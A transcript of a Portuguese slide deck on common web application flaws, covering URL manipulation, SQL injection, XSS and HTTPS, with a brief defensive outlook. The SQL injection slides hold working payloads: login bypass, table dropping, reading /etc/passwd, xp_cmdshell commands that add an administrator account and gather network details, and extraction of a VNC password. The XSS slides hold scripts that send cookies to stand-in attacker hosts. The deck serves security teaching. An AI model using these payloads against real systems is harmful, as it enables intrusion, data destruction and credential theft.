falhas mais comuns em aplicações web
DESCRIPTION
Falhas mais comuns em aplicações WEB. Agenda. Introdução Explicando cada ataque através de exemplos URL Manipulation SQL Injection XSS Cross Site Scripting Como resolve-los O que HTTPS nos oferece Porque HTTPS não resolve nossos problemas? Próximos passos do projeto …. Introdução. - PowerPoint PPT PresentationTRANSCRIPT
![Page 1: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/1.jpg)
Falhas mais comuns em aplicações WEB
![Page 2: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/2.jpg)
Agenda• Introdução• Explicando cada ataque através de exemplos
– URL Manipulation– SQL Injection– XSS Cross Site Scripting
• Como resolve-los• O que HTTPS nos oferece
– Porque HTTPS não resolve nossos problemas?
• Próximos passos do projeto ….
![Page 3: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/3.jpg)
Introdução• Os ataques a serviços de rede estão se tornando
muito sofisticados• A criatividade humana não para• Mas o que faltava?
– APLICAÇÕES!!! Mas será que é possível?
• Atualmente a maioria dos BUG’s reportados estão em aplicações
• Application Security != Network Security• Não se esqueçam: Quem provê acesso aos dados?
As aplicações !!!
![Page 4: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/4.jpg)
Introdução – Lendas Urbanas• Não ha problemas
– Até que a aplicação seja comprometida
• Erros de runtime não são problemas (tratamento de erros)– Exponham informações relevantes– Consumam todo recurso do servidor
• Web Services não são vulneráveis– Quase nunca testados e raramente segurança é considerada
• Solução– Testes de penetração. São caros !!!
![Page 5: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/5.jpg)
Introdução - Números• Gartner
– 75% dos ataques acontecem no nível das aplicações– Em caso de falha no sistema provavelmente os
desenvolvedores são três vezes mais culpados do que os administradores de sistemas
• NIST– 92% das vulnerabilidadces estão no nível das
aplicações
![Page 6: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/6.jpg)
Introdução• Nosso foco será demonstrar estes BUG’s de forma prática
• Para nos proteger temos que entender das táticas e armas no nosso inimigo
• Temos que ter nossas armas para nos defender !!!
![Page 7: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/7.jpg)
![Page 8: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/8.jpg)
Testes e segurança por onde vai ….
![Page 9: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/9.jpg)
Contexto
• Não há segurança de sistemas sem a conjuncão de tres fatores– Boas praticas de codificação– Metodologia adequada (arquitetura e etc)– Testes ..... E ai vem .....
![Page 10: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/10.jpg)
O que é segurança
• Segurança em um “end line”– Mas o que é isso?
– Não se discute segurança sem entender de• Arquitetura de Computadores, Sistemas
Operacionais, Redes de computadores (protocolos de comunicação, Linguagem de programação, engenharia de software e Logica.
![Page 11: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/11.jpg)
O que é segurança
• Entao o que eu preciso saber para se poder testar ....
– Opção 1: seguir os procedimentos definidos alguem que sabe disso tudo
– Opção 2: Saber disso tudo
![Page 12: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/12.jpg)
Então para o que querem ....
![Page 13: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/13.jpg)
Então para o que querem ....
![Page 14: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/14.jpg)
Então para o que querem ....
![Page 15: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/15.jpg)
Então para o que querem ....
![Page 16: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/16.jpg)
Então para o que querem ....
![Page 17: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/17.jpg)
Então para o que querem ....
![Page 18: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/18.jpg)
Então para o que querem ....
![Page 19: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/19.jpg)
Segurança de Redes• Recursos
– Sites
• www.securityfocus.com
• www.cert.com
• www.rootkit.com
![Page 20: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/20.jpg)
Segurança de Redes– Periódicos
• Linux Journal
• Sys Admin Magazine
• Information Security
• SC Info Security Magazine• Security Magazine (Nacional)
![Page 21: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/21.jpg)
Testes
![Page 22: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/22.jpg)
OSSTMM
![Page 23: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/23.jpg)
![Page 24: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/24.jpg)
• Agora faça seu checklist – O que fazer?– O que testar?– Como fazer?
– São as resposta que queremos. Vamos começar por .....
AQUI
![Page 25: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/25.jpg)
Em Aplicações WEB
![Page 26: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/26.jpg)
URL Manipulation • O comando GET requisita informações importantes na URL• Os parâmetros podem ser manipulados para se obter resultados
satisfatórios• O impacto é ALTO• Variações podem ser feitas para se tentar obter resultados
interessantes
http://www.paladiontest.com/example?accountnumber=12345&debitamount=1
![Page 27: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/27.jpg)
URL Manipulation
![Page 28: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/28.jpg)
URL Manipulation
![Page 29: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/29.jpg)
SQL Injection
• A idéia é injetar um comando SQL (Structured Query Language) ou comando como imput dos dados em um formulário WEB
• Todos os parâmetros passados são direcionados para o banco de dados
• O atacante pode manipular com as tabelas e dados diretamente
![Page 30: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/30.jpg)
Causas - SQL Injection
public void OnLogon(object src, EventArgs e){ SqlConnection con = new SqlConnection( "server=(local);database=myDB;uid=sa;pwd;" );
string query = String.Format( "SELECT COUNT(*) FROM Users WHERE " + "username='{0}' AND password='{1}'", txtUser.Text, txtPassword.Text ); SqlCommand cmd = new SqlCommand(query, con); conn.Open(); SqlDataReader reader = cmd.ExecuteReader(); try{ if(reader.HasRows()) IssueAuthenticationTicket(); else TryAgain(); } finally{ con.Close() }}
![Page 31: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/31.jpg)
SQL Injection – Problemas
Esperado:username: abcpassword: teste123
Quando submetido a query será montada como:select * from users where username='abc' and password = 'test123'
Não esperado:username: abc'; -- password: A query enviada para o banco de dados será:select * from users where uname='abc’; --' and password=''
![Page 32: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/32.jpg)
SQL Injection – Problemas
Esperado:Username: dougPassword: p@$$w0rd
SELECT COUNT(*)FROM Users WHERE username='doug' and password='p@$$w0rd'
Não esperado:Username: ' OR 1=1 --Password:
SELECT COUNT(*)FROM UsersWHERE username='' OR 1=1 -- and password=''
![Page 33: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/33.jpg)
SQL Injection
`
Usuário Malicioso
Site vulnerável
http://target.site/login.jsp
EsperadoNão esperado
Login com Sucesso
![Page 34: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/34.jpg)
SQL Injection – Mais exemplos
Identificando campos de uma tabela
SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL; --';
Verificando se a tabela existe
SELECT email, passwd, login_id, full_name FROM table WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';
![Page 35: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/35.jpg)
SQL Injection – Mais exemplos
Procurando por usuários
SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' OR full_name LIKE '%Maria%';
Ataques de força bruta
SELECT email, passwd, login_id, full_name FROM members WHERE email = ‘[email protected]' AND passwd = ‘senha123';
![Page 36: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/36.jpg)
SQL Injection – Mais exemplos
Verificando as permissões no Database
SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x'; DROP TABLE members; --';
Criando um usuárioSELECT email, passwd, login_id, full_name FROM members WHERE email = 'x';
INSERT INTO members ('email','passwd','login_id','full_name')VALUES (‘[email protected]',‘senha',‘user',‘User da Internet');--';
![Page 37: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/37.jpg)
SQL Injection – Mais exemplos
Alterando o mail de comunicação
SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x';
UPDATE members SET email = ‘[email protected]' WHERE email = ‘[email protected]';
![Page 38: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/38.jpg)
Caracteres utilizados' ou " Utilizado para indicar tipo char
-- ou # Comentário
/*…*/ Comentário de várias linhas
+ Adição, concatenação
|| Concatenação
% Wildcard
?Param1=foo&Param2=bar Parâmetros da URL
PRINT Muito utilizado quando não temos transações
@variable Variável Local
@@variable Variável Global
waitfor delay '0:0:10' Delay
![Page 39: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/39.jpg)
SQL Injection• http://172.27.70.25/tikiwiki-1.8/tiki-
directory_search.php?how=or&words=&where=all&sort_mode=delete%20*%20from%20users_uses
![Page 40: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/40.jpg)
Determinando a versão do SGBD
• Na maioria do tempo as mensagens de erro nos ajudam a identificar qual o SGBD utilizado– As mensagens de erro ODBC mostram SGBD
utilizado
• Se não tivermos as mensagens ODBC– Tentamos analisar qual a tecnologia utilizada na
aplicação e no servidor WEB– Tentamos utilizar caracteres, comandos ou stored
procedures que geram erros específicos
![Page 41: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/41.jpg)
Determinando a versão do SGBD
MS SQLT-SQL MySQL Access
OraclePL/SQL DB2
PostgresPL/pgSQL
Concatenat
e Strings
' '+' ' concat (" ", " ")
" "&" " ' '||' ' " "+" " ' '||' '
Null replace
Isnull() Ifnull() Iff(Isnull()) Ifnull() Ifnull() COALESC
E()
Position
CHARINDEX
LOCATE() InStr() InStr() InStr()TEXTPOS()
Op Sys interactio
n
xp_cmdshell
select into
outfile / dumpfile
#date# utf_fileimport from
export toCall
Cast Yes No No No Yes Yes
![Page 42: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/42.jpg)
Interagindo com o sistema Operacional
• Existem duas maneiras de se interagir com o sistema operacional– Lendo arquivos
• Obtendo arquivos de senhas• Trocando senhas dos usuários• Executando comandos que troquem parâmetros do sistema
– Execução direta de comandos• Não ha limites !!!
• Qualquer ação depende do privilégio que o usuários utilizado pelo SGBD possui
![Page 43: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/43.jpg)
MySQL e a interação O.S. • MySQL
– LOAD_FILE• ' union select 1,load_file('/etc/passwd'),1,1,1;
– LOAD DATA INFILE• create table temp( line blob );• load data infile '/etc/passwd' into table temp;• select * from temp;
– SELECT INTO OUTFILE
![Page 44: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/44.jpg)
MS SQL e a interação O.S. • MS SQL Server
– '; exec master..xp_cmdshell 'ipconfig > test.txt' --– '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT
tmp FROM 'test.txt' --– '; begin declare @data varchar(8000) ; set @data='| ' ; select
@data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --
– ' and 1 in (select substring(x,1,256) from temp) --– '; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --
![Page 45: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/45.jpg)
Arquitetura mais comum• Sempre tenha em mente• O SQL normalmente é executado em um outro servidor• O servidor de BD normalmente não tem acesso a
Internet e é protegido
Web Server
PaginasWEB
Database Server
Execução Do SQL
Application Server
ValidaçãoDa
Entrada
![Page 46: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/46.jpg)
Comando de rede relevantes• Usando a SP xp_cmdshell podemos
executar:– Ipconfig /all– Tracert myIP– arp -a– nbtstat -c– netstat -ano– route print
![Page 47: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/47.jpg)
Manipulando com as informações da rede• '; declare @var varchar(256); set @var = ' del test.txt && arp -a >>
test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var --
• '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' --
• '; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --
• ' and 1 in (select substring(x,1,255) from temp) --• '; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --
![Page 48: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/48.jpg)
Manipulando com o S.O.• Linux MySQL
– ' union select 1, (load_file('/etc/passwd')),1,1,1;
• MS SQL Criando usuários– '; exec xp_cmdshell 'net user /add victor Pass123'--– '; exec xp_cmdshell 'net localgroup /add
administrators victor' --
• Iniciando serviços– '; exec master..xp_servicecontrol 'start','FTP
Publishing' --
![Page 49: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/49.jpg)
Obtendo a senha do VNC
• '; declare @out binary(8) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password', @value = @out output select cast(@out as bigint) as x into TEMP--
• ' and 1 in (select cast(x as varchar) from temp) --
![Page 50: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/50.jpg)
XSS Cross Site Scripting
![Page 51: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/51.jpg)
WEB Session Hijaking• Não a ligação entre o ID do login e o ID da
sessão
• A sessão do usuário pode ser roubada
• Impacto é ALTO
• A idéia e obter de alguma forma o HASH
da sessão
![Page 52: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/52.jpg)
Cross Site Scripting
`
User
banco.comsitehaker.com
http://banco.com/login/
Webpage + Cookies
Cookie
Link malicioso em uma pagina web ou e-mail malicioso
Malicious Linkhttp://bank.com/account.jsp? <SCRIPT>Envia cookie para sitehaker.com
Reflected Code<SCRIPT>Envia o Cookie para attacker.com</SCRIPT>
Cookie
Executed
![Page 53: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/53.jpg)
Cross Site Scripting (XSS)• Esta vulnerabilidade tira vantagens de sites
que não fazem o tratamento dos dados de entrada.
• O POST contém um script que pode ser executado via browser
<script>window.navigate("http://somesite.net/steal.asp?cookie="+document.cookie)</script>
![Page 54: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/54.jpg)
XSS – Como o atacante depura
• Pode colocar uma mensagem no post
<script>alert(“this is
vulnerable”)</script>
• A aplicação retorna a sua submissão –
![Page 55: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/55.jpg)
XSS – Exemplos • Pode se receber um e-mail com o um link
• O resultado é enviado para um site
http://www.mymail.com?
search=“<script>window.
navigate("http://badsite.net/steal.asp?
cookie="+document.cookie)</script>”
http://www.steve.org.uk/Hacks/XSS/simple.html
![Page 56: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/56.jpg)
XSS – Exemplos do passado• http://www.fotolog.net/about.html?user
=%3Cscript%3Ealert(%22rfdslabs%22)%3C/script%3E• http://www.microsoft.com/education/?
ID=MCTN&target=http://www.microsoft.com/education/?ID=MCTN&target="><script>alert(document.cookie)</script>
• http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);</script>
• http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1
• http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
![Page 57: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/57.jpg)
•Solução
–Sempre valide a sessão com login e os parâmetros críticos
![Page 58: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/58.jpg)
Sistemas distribuídos• Sistemas distribuídos podem ser vistos de maneira geral
como diferentes elementos de software (aplicações) executando remotamente (ou em locais remotos) e se comunicando para fornecer/consumir serviços.– Conjunto de máquinas autônomas– Interconectadas por canais de comunicação– Comunicando-se por troca de mensagens– Independência de falhas (falhas parciais)– Ausência de relógio global– Ausência de estado global– Estado compartilhado da aplicação (através de comunicação)
![Page 59: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/59.jpg)
Sistemas distribuídos• Além de considerar todos os problemas
anteriores– Eles se potencializam num cenário distribuído
• Precisamos usar– Comunicação Segura– Autenticação– Integridade dos dados trafegados– Serviços de rede passam a ser problemas : DNS
Principalmente.
![Page 60: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/60.jpg)
Comunicação segura• O que podemos usar
– VPN: IPSec, PPTP, ....– Custoso– Por ser necessário uma configuração especial, a
aplicação depende não somente dela mas da rede prover
– Mas lembre-se
A REDE É INSEGURA !!!!!
![Page 61: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/61.jpg)
E a aplicação ?• Autenticação
• Integridade dos dados trafegados
• Que tal uma PKI ?– Temos Autenticação– Temos Integridade e confidenciaidade se
encriptarmos os dados
![Page 62: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/62.jpg)
O que HTTPS nos oferece• HTTPS resolve os problemas de segurança apontados
anteriormente?• Mas então para que usar HTTPS?
– Muitas vezes dizemos que o uso de HTTPS nos temos o servidor seguro
![Page 63: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/63.jpg)
O que HTTPS nos oferece• HTTPS é a versão “segura” do protocolo
HTTP que implementa a autenticação e encriptação da comunicação.– Previne os ataques do tipo men-in-the-middle e
que dados interceptados sejam “lidos”
• A autenticação é uma característica muito explorada atualmente– ICP-BR
![Page 64: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/64.jpg)
O que HTTPS nos oferece1. Negocia qual sistema de
codificação será usado durante a transferência
2. Estabelece e troca as chaves de sessão entre o cliente e o servidor
3. Opcionalmente autentica o servidor para o cliente
4. Opcionalmente autentica o cliente para o servidor
![Page 65: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/65.jpg)
Autenticação usando certificados e chaves públicas/privadas
Webserver
End user
Fase do desafio(Mensagem Randômica)
Protocolos de encriptação Protocolos de
Encriptação OK
Identificação da Conexão Randômica (server)
CA chave pública
OK! Se o cliente não tiver a chave pública da CA (recebemos uma mensagem informando O certificado não é valido)
| Cancel | Always Trust | Trust this time |
Fase do desafio(Mensagem Randômica)
Identificão da Conexão Randômica (server)
Chave e certificado público do servidor
![Page 66: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/66.jpg)
Autenticação usando certificados e chaves públicas/privadas
Webserver
End user CA chave pública
Fase do desafio(Mensagem Randômica
Identificão da Conexão Randômica (server)
Sessão master Par de chavessimétricas
(Encriptado)
Chave e certificado público do servidor
![Page 67: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/67.jpg)
Autenticação usando certificados e chaves públicas/privadas
Webserver
End user CA chave pública
Fase do desafio(Mensagem Randômica
Identificão da Conexão Randômica (server)
Sessão master
LeituraEscrita
Par de chavessimétricas
dentificão da Conexão Randômica (server)
Par de chavessimétricas
Leitura EscritaIdenfificão da Conecção Randomica (server)
Fase do desafio(Mensagem Randômica
Fase do desafio(Mensagem Randômica
A autenticação do cliente pode começar agora
Chave e certificado público do servidor
![Page 68: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/68.jpg)
Porque HTTPS não resolve nossos problemas?
• Porque nossos problemas não estão apenas nos protocolos ou na comunicação. Temos problemas nas aplicações e estas hierarquicamente estão acima dos protocolos de comunicação.
![Page 69: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/69.jpg)
Autorização• Associar direitos, capacidade e
“habilidades” associadas a um assunto
• A autorização geralmente vem após uma autenticação
– Ex.: Uma vez que se sabe quem é o usuário foi “autenticado” o serviço decidirá o que o usuário pode fazer no contexto que ele esta “autorizado”
![Page 70: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/70.jpg)
Autorização• RBAC
• Autorização baseada em perfil
• Autorização baseada em contexto
• http://maca.sourceforge.net
![Page 71: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/71.jpg)
Auditoria• Loggin analises
– Data warehouse– Mineração de dados
• Correlação de eventos
![Page 72: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/72.jpg)
Próximos passos• Componente focado em resolver os problemas
apresentados– Não intrusivo
– Flexível
– Performance
– Fácil de usar
• Autenticação – Componente para autenticar
• Login/Senha• Certificado Digital• Biometria
![Page 73: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/73.jpg)
Referências• http://www.owasp.org/• http://www.isecom.org/osstmm/
– Open-Source Security Testing Methodology Manual
• Web Application Disassembly with ODBC Error Messages• JavaOne 2005
– Strategies for Securing Java™ Technology Code
– Web Services Security Attacks in Action
– 9 Ways to Hack a Web App
• Advanced SQL Injection In SQL Server applications• Advanced Cross Site Scripting• CROSS-SITE TRACING (XST)• SQL Injection Signatures Evasion
![Page 74: Falhas mais comuns em aplicações WEB](https://reader035.vdocuments.net/reader035/viewer/2022062408/56813b46550346895da42400/html5/thumbnails/74.jpg)
F I M